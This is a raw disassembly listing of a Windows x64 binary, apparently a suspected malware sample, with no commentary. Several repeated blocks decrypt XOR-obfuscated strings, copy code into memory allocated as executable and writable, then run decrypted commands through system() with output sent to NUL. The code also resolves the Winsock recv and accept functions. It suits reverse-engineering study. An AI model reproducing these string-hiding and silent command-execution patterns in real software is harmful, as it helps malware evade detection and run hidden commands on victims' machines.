movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14001a2b0
cmp r8d, 0x39
jge 0x14001a3e5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14001a3b0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x38e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3d0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001a470
mov rdx, rbx
cmp rax, rsi
je 0x14001a45f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14001a447
jmp 0x14001a470
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001a551
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a499
mov r8, rbx
jmp 0x14001a530
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a4a2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3d0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x38e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x38c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3d8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3900]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5998]
lea rcx, [rbp - 0x6d]
call fcn.14001ec60
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14001a725
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001a6e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14001a5f0
cmp r8d, 0x39
jge 0x14001a725
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14001a6f0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3920]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3e0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001a7b0
mov rdx, rbx
cmp rax, rsi
je 0x14001a79f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14001a787
jmp 0x14001a7b0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001a891
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a7d9
mov r8, rbx
jmp 0x14001a870
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a7e2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3e0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3920]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3900]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3e8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3940]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x59d8]
lea rcx, [rbp - 0x6c]
call fcn.14001eca0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14001aa65
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001aa23
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14001a930
cmp r8d, 0x39
jge 0x14001aa65
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14001aa30
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3960]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x3f0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001aaf0
mov rdx, rbx
cmp rax, rsi
je 0x14001aadf
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14001aac7
jmp 0x14001aaf0
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001abd1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001ab19
mov r8, rbx
jmp 0x14001abb0
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001ab22
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x3f0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3960]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3940]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3f8]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3980]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5cf0]
lea rcx, [rbp - 0x6b]
call fcn.14001ece0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14001ada5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001ad63
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14001ac70
cmp r8d, 0x39
jge 0x14001ada5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14001ad70
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x39a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001ae2d
mov rdx, rbx
cmp rax, rsi
je 0x14001ae1c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14001ae04
jmp 0x14001ae2d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001af0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001ae56
mov r8, rbx
jmp 0x14001aeee
mov rax, rsi
mov rcx, r8
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x14001ae60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp - 0x50]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x39a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3980]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x39c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x39e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5528]
lea rcx, [rbp - 0x6a]
call fcn.14001ed20
mov r10, rax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0x2c], 0
je 0x14001b0e5
mov r8d, ebx
cmp r14d, 2
jl 0x14001b0a3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001afb0
cmp r8d, 0x2d
jge 0x14001b0e5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001b0b0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3a00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3a20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3a40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3a60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3a60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3a40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3a20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3a00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x39e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x39c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3a80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3aa0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5558]
lea rcx, [rbp - 0x69]
call fcn.14001ed60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001b335
mov r8d, ebx
cmp r14d, 2
jl 0x14001b2f3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001b200
cmp r8d, 0x2d
jge 0x14001b335
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001b300
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3ac0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3ae0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3b00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3b20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3b20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3b00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ae0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3ac0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3aa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3a80]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x3b40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x3b60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5588]
lea rcx, [rbp - 0x68]
call fcn.14001eda0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001b585
mov r8d, ebx
cmp r14d, 2
jl 0x14001b543
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001b450
cmp r8d, 0x2d
jge 0x14001b585
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001b550
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x3b80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x3ba0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3bc0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x3be0]
call fcn.140023960
mov rcx, rax
